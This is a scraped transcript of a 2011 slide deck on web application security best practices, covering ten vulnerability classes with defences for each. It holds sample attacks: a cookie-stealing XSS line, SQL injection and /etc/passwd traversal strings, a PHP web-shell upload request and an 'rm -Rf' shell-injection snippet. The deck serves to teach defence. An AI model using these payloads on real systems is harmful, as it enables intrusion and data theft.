WEB APPLICATION SECURITY BEST PRACTICES OF 2011 Copyright 2011 © CYBER GATES Permission is granted to copy, distribute and/or modify this document under.

Slides:



Advertisements
Similar presentations
Nick Feamster CS 6262 Spring 2009
Advertisements

Web Security Never, ever, trust user inputs Supankar.
What is code injection? Code injection is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by.
SEC835 OWASP Top Ten Project.
©2009 Justin C. Klein Keane PHP Code Auditing Session 5 XSS & XSRF Justin C. Klein Keane
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation.
1 Configuring Internet- related services (April 22, 2015) © Abdou Illia, Spring 2015.
WebGoat & WebScarab “What is computer security for $1000 Alex?”
EECS 354 Network Security Cross Site Scripting (XSS)
By Brian Vees.  SQL Injection  Username Enumeration  Cross Site Scripting (XSS)  Remote Code Execution  String Formatting Vulnerabilities.
It’s always better live. MSDN Events Security Best Practices Part 2 of 2 Reducing Vulnerabilities using Visual Studio 2008.
1 Configuring Web services (Week 15, Monday 4/17/2006) © Abdou Illia, Spring 2006.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
Information Networking Security and Assurance Lab National Chung Cheng University The Ten Most Critical Web Application Security Vulnerabilities Ryan J.W.
It’s always better live. MSDN Events Securing Web Applications Part 1 of 2 Understanding Threats and Attacks.
Handling Security Threats in Kentico CMS Karol Jarkovsky Sr. Solution Architect Kentico Software
Web Application Attacks ECE 4112 Fall 2007 Group 9 Zafeer Khan & Simmon Yau.
Introduction to InfoSec – Recitation 10 Nir Krakowski (nirkrako at post.tau.ac.il) Itamar Gilad (itamargi at post.tau.ac.il)
Martin Kruliš by Martin Kruliš (v1.0)1.
PHP Tutorials 02 Olarik Surinta Management Information System Faculty of Informatics.
PHP Security.
OWASP Zed Attack Proxy Project Lead
Cosc 4765 Server side Web security. Web security issues From Cenzic Vulnerability report
Security.NET Chapter 1. How Do Attacks Occur? Stages of attack Examples of attacker actions 1. FootprintRuns a port scan on the firewall 2. PenetrationExploits.
Prevent Cross-Site Scripting (XSS) attack
Lets Make our Web Applications Secure. Dipankar Sinha Project Manager Infrastructure and Hosting.
WEB SECURITY WEEK 3 Computer Security Group University of Texas at Dallas.
CSCI 6962: Server-side Design and Programming Secure Web Programming.
Lecture 14 – Web Security SFDV3011 – Advanced Web Development 1.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
© All rights reserved. Zend Technologies, Inc. PHP Security Kevin Schroeder Zend Technologies.
November 13, 2008 Ohio Information Security Forum Attack Surface of Web Applications James Walden Northern Kentucky University
Copyright 2007 © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Online Translation Service Capstone Design Eunyoung Ku Jason Roberts Jennifer Pitts Gregory Woodburn Kim Tran.
Cross-Site Attacks James Walden Northern Kentucky University.
Web Application Security ECE ECE Internetwork Security What is a Web Application? An application generally comprised of a collection of scripts.
Top Five Web Application Vulnerabilities Vebjørn Moen Selmersenteret/NoWires.org Norsk Kryptoseminar Trondheim
Mr. Justin “JET” Turner CSCI 3000 – Fall 2015 CRN Section A – TR 9:30-10:45 CRN – Section B – TR 5:30-6:45.
PHP Workshop ‹#› PHP Security. PHP Workshop ‹#› Two Golden Rules 1.FILTER external input Obvious.. $_POST, $_COOKIE, etc. Less obvious.. $_SERVER 2.ESCAPE.
PHP2010/11 : [‹#›] PHP Security. PHP2010/11 : [‹#›] Two Golden Rules 1.FILTER external input Obvious.. $_POST, $_COOKIE, etc. Less obvious.. $_SERVER.
Prof Frankl, Spring 2008CS Polytechnic University 1 Overview of Web database applications with PHP.
SEC835 Runtime authentication Secure session management Secure use of cryptomaterials.
The attacks ● XSS – type 1: non-persistent – type 2: persistent – Advanced: other keywords (, prompt()) or other technologies such as Flash.
CIT 380: Securing Computer SystemsSlide #1 CIT 380: Securing Computer Systems Web Security.
October 3, 2008IMI Security Symposium Application Security through a Hacker’s Eyes James Walden Northern Kentucky University
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
SecurityPHPApril 2010 : [‹#›] PHP Security. SecurityPHPApril 2010 : [‹#›] Two Golden Rules 1.FILTER external input Obvious.. $_POST, $_COOKIE, etc. Less.
Web Applications Testing By Jamie Rougvie Supported by.
By Sean Rose and Erik Hazzard.  SQL Injection is a technique that exploits security weaknesses of the database layer of an application in order to gain.
Cookies and Sessions IDIA 618 Fall 2014 Bridget M. Blodgett.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation.
CS526Topic 12: Web Security (2)1 Information Security CS 526 Topic 9 Web Security Part 2.
Web Security Lesson Summary ●Overview of Web and security vulnerabilities ●Cross Site Scripting ●Cross Site Request Forgery ●SQL Injection.
Creating Databases for Web applications Server side vs client side PHP basics Homework: Get your own versions of sending working: both html and Flash!
PHP Error Handling & Reporting. Error Handling Never allow a default error message or error number returned by the mysql_error() and mysql_errno() functions.
Security Issues with PHP  PHP installation  PHP programming Willa Zhu & Eugene Burger.
Session 11: Cookies, Sessions ans Security iNET Academy Open Source Web Development.
ASP.NET 2.0 Security Alex Mackman CM Group Ltd
10 Tips for Building a Secure PHP Application. Tip 1: Use Proper Error Reporting/Handling  The development process of the application can become very.
By Collin Donaldson. Hacking is only legal under the following circumstances: 1.You hack (penetration test) a device/network you own. 2.You gain explicit,
PHP: Further Skills 02 By Trevor Adams. Topics covered Persistence What is it? Why do we need it? Basic Persistence Hidden form fields Query strings Cookies.
SlideSet #20: Input Validation and Cross-site Scripting Attacks (XSS) SY306 Web and Databases for Cyber Operations.
Building Secure ColdFusion Applications
Web Application Vulnerabilities, Detection Mechanisms, and Defenses
TOPIC: Web Security (Part-4)
World Wide Web policy.
Configuring Internet-related services
Lecture 2 - SQL Injection
Online Translation Service Capstone Design
Cross Site Request Forgery (CSRF)
Presentation transcript:

WEB APPLICATION SECURITY BEST PRACTICES OF 2011 Copyright 2011 © CYBER GATES Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License

OVERVIEW Web Application Security is a vast topic and time is not enough to cover all kind of malicious attacks and techniques for avoiding them, so now we will focus on top 10 high level vulnerabilities. Web developers work in different ways using their custom libraries and intruder prevention systems and now we will see what they should do and should not do based on best practices.

CONTENT 1. Overview 2. Statistics 2.1. Statistics of vulnerabilities 2.2. Statistics of risk levels 3. Top 10 high level vulnerabilities 3.1. Cross-Site Scripting 3.2. Information Leakage 3.3. SQL Injection 3.4. Cross-Site Request Forgery 3.5. ClickJacking 3.6. Local/Remote File Inclusion

3.7. Unrestricted File Uploads 3.8. Phishing 3.9. Session Hijacking Shell Injection 4. Cross-Site Scripting 4.1. Defination 4.2. Types Non-persistent Persistent 4.3. Non-persistent 4.4. Persistent 4.5. Common targets 4.6. Potentially Dangerous HTML elements

4.7. Best Solution 5. Information Leakage 5.1. Defination 5.2. Common reasons Directory listing misconfiguration Unproper error handling Unproper filetype handling Sensetive HTML comments 5.3. Directory listing misconfiguration 5.4. Unproper error handling 5.5. Unproper filetype handling 5.6. Sensetive HTML comments

5.7. Best Solution 6. SQL Injection 6.1. Defination 6.2. Types Normal SQL Injection Blind SQL Injection 6.3. Normal SQL Injection 6.4. Blind SQL Injection 6.5. Solutions 6.6. Best Solution 7. Cross-Site Request Forgery 7.1. Defination 7.2. Useless defenses

7.3. Solutions 7.4. Best Solution 8. ClickJacking 8.1. Defination 8.2. FrameKillers 8.3. FrameKiller killers 8.4. Best Solution 9. Local/Remote File Inclusion 9.1. Defination 9.2. Types Local File Inclusion Remote File Inclusion 9.3. Local File Inclusion

9.4. Remote File Inclusion 9.5. Common exploits/requests 9.6. Common methods of attack 9.7. Potentially dangerous PHP functons 9.8. Best Solution 10. Unrestricted File Uploads Defination Common mistakes Best Solution 11. Phishing Defination Best Solution 12. Session Hijacking

12.1. Defination Best Solution 13. Shell Injection Defination Potentially dangerous PHP functions Best Solution 14. Special thanks 15. Contact information 16. References

STATISTICS OF VULNERABILITIES Source: ptresearch.blogspot.com/2010/06/web-application-vulnerability.html

STATISTICS OF RISK LEVELS Source: ptresearch.blogspot.com/2010/06/web-application-vulnerability.html

TOP 10 HIGH LEVEL VULNERABILITIES 01. Cross-Site Scripting (XSS) [2005] 02. Information leakage 03. SQL Injection [~2005] 04. Cross-Site Request Forgery (CSRF) [1990s] 05. ClickJacking [J.Grossman and R.Hansen ] 06. Local/Remote File Inclusion 07. Unrestricted File Upload 08. Phishing [1987, 1996] 09. Session Hijacking [early 2000s] 10. Shell injection

CROSS-SITE SCRIPTING DESCRIPTION: Cross-Site Scripting is a type of web application vulnerability when attacker injects his executable code (Javascript, HTML, etc.) into a vulnerable webpage. EXAMPLE: alert( “XSS”)

CROSS-SITE SCRIPTING TYPES: 1.Non-Persistent 2.Persistent 1.Non-Persistent: In this type of XSS vulnerability an attacker is able to execute his own code into a webpage but no changes can be done in that website.

CROSS-SITE SCRIPTING Non-Persistent EXAMPLE: document.location=" /logger.php?cookie="+document.cookie; OR document.write(“ ”);

CROSS-SITE SCRIPTING 2.Persistent: In this case attacker stores his executable script in the vulnerable website database which is being executed every time webpage is showing the data. Common targets are: Comments Chat messages messages Wall posts, etc.

CROSS-SITE SCRIPTING Persistent EXAMPLE:

CROSS-SITE SCRIPTING Persistent Comment in raw format: and I like the way this website developers work..hahaha :D :D <SCRIPT/XSS SRC="

CROSS-SITE SCRIPTING Potentially Dangerous HTML elemets: src, href, lowsrc, xmlns, style, etc. TAGS,etc. ATTRIBUTES

CROSS-SITE SCRIPTING Potentially Dangerous HTML events: Onblur Onchange Onclick Ondrag Onerror Onfocus Onkeypress Onkeyup Onload Onmouseover Onmousemove Onmove Onresize Onselectstart Onselect Onsubmit Onunload Onscroll, etc. *all HTML events

CROSS-SITE SCRIPTING SOLUTIONS: PHP function strip_tags() PHP Input Filter PHP libraries: HTML_Safe htmLawed kses Safe HTML Checker, etc. Input sanitization PHP function htmlentities() Output sanitization

BEST SOLUTION OWASP HTML Purifier SAFE HTML Purifier defeats XSS with an audited whitelist CLEAN HTML Purifier ensures standards-compliant output OPEN HTML Purifier is open-source and highly customizable

BEST SOLUTION COMPARISON: Source:

BEST SOLUTION COMPARISON: Source:

INFORMATION LEAKAGE DESCRIPTION: Information Leakage is an application weakness where an application reveals sensitive data, such as technical details of the web application, environment, or user-specific data. EXAMPLE: Warning: include(pages/../../../../../../etc/passwd1) [function.include]: failed to open stream: No such file or directory in /usr/www/users/kint/view.php on line 20

INFORMATION LEAKAGE CAUSES OF: 1.Directory listing misconfiguration 2.Unproper error handling 3.Unproper filetype handling 4.Sensitive HTML comments, etc. 1.Directory listing misconfiguration: Leaving directory listing enabled allows the attacker to read the list of all files in a directory.

INFORMATION LEAKAGE EXAMPLE: Directory listing misconfiguration

INFORMATION LEAKAGE 2.Unproper error handling: Because of unproper error handling all the unexpecting requests will generate error messages which will be visible to the attacker. EXAMPLE: Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /home/aes/public_html/news/list.php on line 81

INFORMATION LEAKAGE 3.Unproper filetype handling: Unproper filetype handling allows your important files to be readable by the attacker. EXAMPLE: sql_backup.tar.gz memberlist.xml phpinfo.html dbClass.inc Login.php.bkp

INFORMATION LEAKAGE EXAMPLE: dbClass.inc … private $host = "localhost"; private $usr = “root“; private $pwd = “i7kT0w“; public $db = "brav_new"; public function Connect(){ … } … Unproper filetype handling

INFORMATION LEAKAGE 4. Sensitive HTML comments: Notes left by web developers may content important information which will cause of the information leakage. EXAMPLE: …

BEST SOLUTION Directory listing misconfiguration A.put a blank file named index.html in that directory. B.put a file named.htaccess in that directory consisting of only this line: Options –indexes NOTE: all sub-directories of that directory will also get their directory listings turned off.

BEST SOLUTION Unproper error handling A.The following configurations should be done in php.ini file: error_reporting = E_ALL display_errors = Off log_errors = On error_log = path/PHP_errors.log //any file in which the web server has write privileges.

BEST SOLUTION Unproper error handling B.Create an.htaccess file in public_html directory with the following lines: php_flag display_errors off php_flag log_errors on php_value error_log path/PHP_errors.log Order allow,deny Deny from all Satisfy All </Files

BEST SOLUTION Unproper filetype handling A.Don’t keep your important files with the following extentions in your public web directory if you don’t link to them in the website: Compressed files(*.zip, *.rar, *.tar.gz, etc.) Database files(*.sql, *.cvs, *.xml, *.xls, etc.) Unknown files(*.inc, *.copy, *.bkp, etc.)

BEST SOLUTION Unproper filetype handling B.If you have a reason to keep those files in your web public directory, create an.htaccess file in that directory with the following lines of code: order allow,deny deny from all

BEST SOLUTION Sensitive HTML comments A.No sensetive HTML comment must be used in a website as every user will be able to view the webpage source code.

SQL INJECTION DESCRIPTION: This is a type of vulnerability when attacker injects his custom SQL query to the request to get sensetive data from the database, read or write a file. EXAMPLE: +UNION+SELECT+0,database(),1,2+--

SQL INJECTION TYPES: 1.Normal 2.Blind 1.Normal: In this type of SQL Injection vulnerability attacker sends a custom SQL query and gets the output in the screen.

SQL INJECTION EXAMPLE: =2+union+select+1,2,user(),database(), 5,version(),7+-- Normal SQL Injection

SQL INJECTION 2.Blind: This type of injection is identical to normal SQL Injection except that the SQL query returns positive or negative response. EXAMPLE:

SQL INJECTION PHP.ini configuration magic_quotes_gpc = on PHP functions filter_var() mysql_real_escape_string() sprintf() Put variables into the quotes(e.g: ‘$id’) Assign min privilages for mysql users SOLUTIONS:

BEST SOLUTION GreenSQL open source database firewall Activity monitoring and audit User rights management Real-time database protection Intrusion preventation(IPS) Database caching Encrypted comunication over SSL Virtual patching Reporting

BEST SOLUTION GreenSQL open source database firewall Source:

CROSS-SITE REQUEST FORGERY DESCRIPTION: This vulnerability of web application allows other websites to send it unauthorized requests using the active session of its authorized users. EXAMPLE:

CROSS-SITE REQUEST FORGERY EXAMPLE: document.Form.submit();

CROSS-SITE REQUEST FORGERY USELESS DEFENSES: Only accept POST Stops simple link-based attacks (IMG, frames, etc.) But hidden POST requests can be created with frames, scripts, etc. Referer checking Some users prohibit referers, so you can’t just require referer headers Techniques to selectively create HTTP request without referers exist Requiring multi-step transactions CSRF attack can perform each step in order

CAPTHCA systems This is a type of challenge- response test used in computing to ensure that the response is not generated by a computer. One-time tokens Unlike the CAPTCHA systems this is a unique number stored in the form field and in session to compare them after the form submition. SOLUTIONS: CROSS-SITE REQUEST FORGERY

BEST SOLUTION OWASP CSRFGuard Add Token to HTML User (Browser) Business Processing OWASP CSRFGuard Verify Token 1. Add token with regex 2. Add token with HTML parser 3. Add token in browser with Javascript Adds token to: – href attribute – src attribute – hidden field in all forms Actions: – Log – Invalidate – Redirect Source:

CLICKJACKING DESCRIPTION: ClickJacking or UI Redressing is an art of taking actions without the user's knowledge, such as clicking on a button that appears to perform another function. It works in all modern browsers that support frames and css. EXAMPLE:

CLICKJACKING EXAMPLE: iframe { width: 500px; height: 400px; /* Use absolute positioning to line up update button with fake button */ position: absolute; top: 0px; left: 0px; z-index: 2; /* Hide from view */ -moz-opacity: 0; opacity: 0; filter: alpha(opacity=0); } button { position: absolute; top: 350px; left: 200px; z-index: 1; width: 100px; } BEST GAME EVER! PLAY!

CLICKJACKING EXAMPLE:

CLICKJACKING FrameKiller(frame busting) Defination: Frame killers or frame busting is used to defend against clickjacking attacks. Example: if (top.location != location){ top.location = self.location; }

CLICKJACKING Conditional statement if (top != self) if (top.location != self.location) if (top.location != location) if (parent.frames.length > 0) if (window != top) if (window.top !== window.self) if (window.self != window.top) if (parent && parent != window) if (parent && parent.frames && parent.frames.length>0) if((self.parent&&!(self.parent===self))&&(self. parent.frames.length!=0)) Common FrameKillers

CLICKJACKING top.location = self.location top.location.href = document.location.href top.location.replace(self.location) top.location.href = window.location.href top.location.replace(document.location) top.location.href = window.location.href top.location.href = "URL" document.write('') top.location.replace(document.location) top.location.replace('URL') top.location.replace(window.location.href) top.location.href = location.href self.parent.location = document.location parent.location.href = self.document.location Common FrameKillers Counter-action statement

CLICKJACKING Double framing second.html Using onBeforeUnload event window.onbeforeunload=function(){ return “do you want to leave this page?“; } FrameKiller killers

CLICKJACKING onBeforeUnload & 204 Flushing var prevent bust = 0 window.onbeforeunload=function(){ killbust++ } setInterval(function(){ if(killbust > 0){ killbust = 2; window.top.location = ' } }, 1); etc. FrameKiller killers

BEST SOLUTION FrameKiller(frame busting): html{ display : none; } if( self == top ) { document.documentElement.style.display='block'; } else { top.location = self.location; } OWASP CSRFGuard IMPORTANT: Unfortunately, there is no script which would protect your web application against ClickJacking, however above mentioned is the best solution that we have now.

FILE INCLUSION DESCRIPTION: This type of web application vulnerability allows an attacker to include local or remote file into the vulnerable webpage. EXAMPLE: /../../../../../../../../../../etc/passwd%00

FILE INCLUSION TYPES: 1.Local 2.Remote 1.Local File Inclusion: This type of inclusion is used to include local files. Mostly used for server configuration files such as system users information, filesystem structure, etc.

FILE INCLUSION EXAMPLE: /../../../../../../../../../../etc/passwd%00 root:*:0:0:Super User:/root:/bin/csh daemon:*:1:1:Daemon:/nonexistent:/sbin/nologin operator:*:2:5:Operator:/nonexistent:/sbin/nologin bin:*:3:7:Binaries:/nonexistent:/sbin/nologin tty:*:4:65533:tty Sandbox:/nonexistent:/sbin/nologin kmem:*:5:65533:kmem Sandbox:/nonexistent:/sbin/nologin games:*:7:13:Games:/nonexistent:/sbin/nologin news:*:8:8:News Subsystem:/nonexistent:/sbin/nologin man:*:9:9:Man Pages:/nonexistent:/sbin/nologin ftp:*:14:5:Anonymous FTP Admin:/usr/ftp:/nonexistent LOCAL FILE INCLUSION

FILE INCLUSION 2.Remote File Inclusion: Unlike the local file inclusion this is used to include remote scripts such as web shells which is more dangerous than the previous one. Main goals: Remote code execution Remote root kit installation and complete system compromise etc.

FILE INCLUSION EXAMPLE: =ls&dir=%2Fvar REMOTE FILE INCLUSION

FILE INCLUSION VULNERABLE PHP CODES <?php include("includes/".$_GET['file']); ?> <?php include("includes/ ".$_GET['file ' ].".htm"); ?> etc.

FILE INCLUSION COMMON EXPLOITS/REQUESTS ?file=../../../../../../../../../etc/passwd ?file=../../../../../../../../../var/lib/locate.db ?file=../../../../../../../../../var/log/apache/error.log ?file=../../../../../../../../../etc/passwd%00 ?file=../../../../../../../../../var/www/accounts/%00 ?file= ?file= ?file=data://text/plain;base64,SU5KRUNURUQ= ?file=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\ ?file=../../../../../../../../../etc/passwd…………………..… etc.

FILE INCLUSION COMMON METHODS OF ATTACK Hostile data being uploaded to session files, log data, and via image uploads Using compression or audio streams, such as zlib:// or ogg://(allow_url_fopen/ allow_url_include may be disabled) Using PHP wrappers, such as php://input Using PHP’s data: wrapper, such as data:;base64,PD9waHAgcGhwaW5mbygp Oz8+ etc.

FILE INCLUSION include()/include_once() require()/require_once() file_get_contents() fopen() file() copy() unlink() upload_tmp_dir() move_uploaded_file() imagecreatefromXXX() POTENTIALLY DANGEROUS PHP FUNCTIONS

BEST SOLUTION Use whitelisted filenames or allow only valid file name characters (e.g: /^(((?:\.)(?!\.))|\w)+$/) Modify the php.ini configuration file: register_globals = Off magic_quotes_gpc = On allow_url_fopen = Off allow_url_include = Off Do not use any of the potentially dangerous PHP functions(previous slide) without filtering user input

UNRESTRICTED FILE UPLOAD DESCRIPTION: This vulnerability of a web application allows attacker to upload malicious files to the server. Most of the time those files are web shell scripts to take control over your web server. EXAMPLE: $usrFile = $_FILES[‘userfile’][‘name’]; $uploadFolder= "uploads/"; if(move_uploaded_file($usrFile,$uploadFolder)) { echo “File has been successfully uploaded.“; } else{ echo “Error. Please try again!"; }

UNRESTRICTED FILE UPLOAD POST /upload1.php HTTP/1.1 … Content-Type: multipart/form-data; boundary=xYzZY --xYzZY Content-Disposition: form-data; name="userfile"; filename="shell.php" Content-Type: text/plain <?php system($_GET['command']); ?> --xYzZY— HTTP/ OK … File has been successfully uploaded. EXAMPLE:

Using blacklist for file extensions Checking only for *.php,*.cgi,..,*.exe, etc. extentions Checking only the mime type Checking only the content of $_FILES[‘file’][‘type’] Unproper check of double extensions Unproperly checking for the files such as *.php.jpg, *.php.xyz, *.asp.1234, etc. Checking only the image header Relying only on PHP functions such as getimagesize() Checking filetype in filename Checking content of the filename after the last dot(.) etc. COMMON MISTAKES: UNRESTRICTED FILE UPLOAD

BEST SOLUTION Define an.htaccess file that will only allow access to files with allowed extensions. This will also prevent double extension attacks. deny from all order deny,allow allow from all

BEST SOLUTION Prevent overwriting of existing files (to prevent the.htaccess overwrite attack). Create a list of accepted mime-types (map extensions from those mime types). Generate a random file name and add the previously generated extension. Don’t rely on client-side validation only, since it is not enough. Ideally one should have both server- side and client-side validation implemented.

PHISHING DESCRIPTION: Phishing is a Social Engineering technique to steal confidential information about the victim such as user login credentials, credit card information, etc. through the use of fake login page. EXAMPLE: viceLogin?service=mail

PHISHING EXAMPLE:

BEST SOLUTION Use HTTPS instead of HTTP The use of HTTPS is that user may see the details of the domain owner in the SSL certificate information. Use short URL addresses for login pages Use short URLs so that users could easily recognize login page address. Use Yahoo! Sign-in Seal like system Sign-In Seal is a unique identifier chose by the user. This system stores the user's unique identifier in the cookie and that cookie is shared between local web browsers using Shared Object system provided by Adobe Flash Player. It is not associated with the user’s login id, it is associated with the user’s machine id.

SESSION HIJACKING DESCRIPTION: This vulnerability of web application is used to gain unauthorized access to web resources of an authoriezed user by having his/her session identifier(SID). EXAMPLE: 754aff827cfe9f7db7f48e7018ed1e6.w g180?st.cmd=userMain&tkn=8809

SESSION HIJACKING EXAMPLE: aff827cfe9f7db7f48e7018ed1e6. wg180?st.cmd=userMain&tkn=8809

BEST SOLUTION Store SID in HTTP cookies To avoid accepting SIDs from GET and POST requests, the following modification should be done in php.ini configuration file: session.use_cookies = 1 session.use_only_cookies = 1 Regenerate SID on each user request Put session_regenerate_id(true); with this parameter after the session_start() function call Accept only SIDs generated by your server Use $_SESSION['SERVER_GENERATED_SID'] to identify whether SID has been created by your web server

BEST SOLUTION Check for referrer, user-agent and IP address All these three elements can be manipulated, but it is a good habit to check them before accepting any data from a user side Destroy old SIDs If user has SID which hasn’t been accessed for more than 10 minutes, destroy it Comletely distroy the session on user logout This kind of logout system may be used to completely distroy all the session data if (isset($_GET['LOGOUT'])){ session_unset(); session_destroy(); $_SESSION = array(); }

SHELL INJECTION DESCRIPTION: Shell Injection is a web application vulnerability which allows an attacker to execute shell commands in the web server. EXAMPLE:

SHELL INJECTION EXAMPLE: ’; system(“rm -Rf $file”) ; echo ‘done‘; ?> delete.php

shell_exec() exec() `` (backticks) system() passthru() eval() popen() curl_exec() curl_multi_exec() show_source() proc_open() parse_ini_file() etc. POTENTIALLY DANGEROUS PHP FUNCTIONS SHELL INJECTION

BEST SOLUTION Disable all the potentially dangerous PHP functions You should disable all the potentially dangerous PHP functions in php.ini configuration file which you don’t use: disable_functions=system,exec,etc. Allow only whitelisted commands to be used You may have a list of non-dangerous commands which will be allowed Use PHP built-in function to escape the user input Use functions such as escapeshellarg() and escapeshellcmd() to escape the user input.

THANK YOU!! SPECIAL THANKS FOR KIND SUPPORT: MANU ZACHARIA MVP (Enterprise Security), ISLA-2010 (ISC)², C|EH, C|HFI, CCNA, MCP, AFCEH Certified ISO 27001:2005 LA ROHIT SRIVASTWA Founder, ClubHack C-DAC ACTS acts.cdac.in

CONTACTS Corporate website Company profile on Twitter Company profile on Facebook Company profile on LinkedIn Company channel on Vimeo

REFERENCES Statistics Cross-Site Scripting Information Leakage SQL Injection security/ /index.html Cross-Site Request forgery

REFERENCES ClickJacking File Inclusion Unrestricted File Upload Phishing Session Hijacking Shell Injection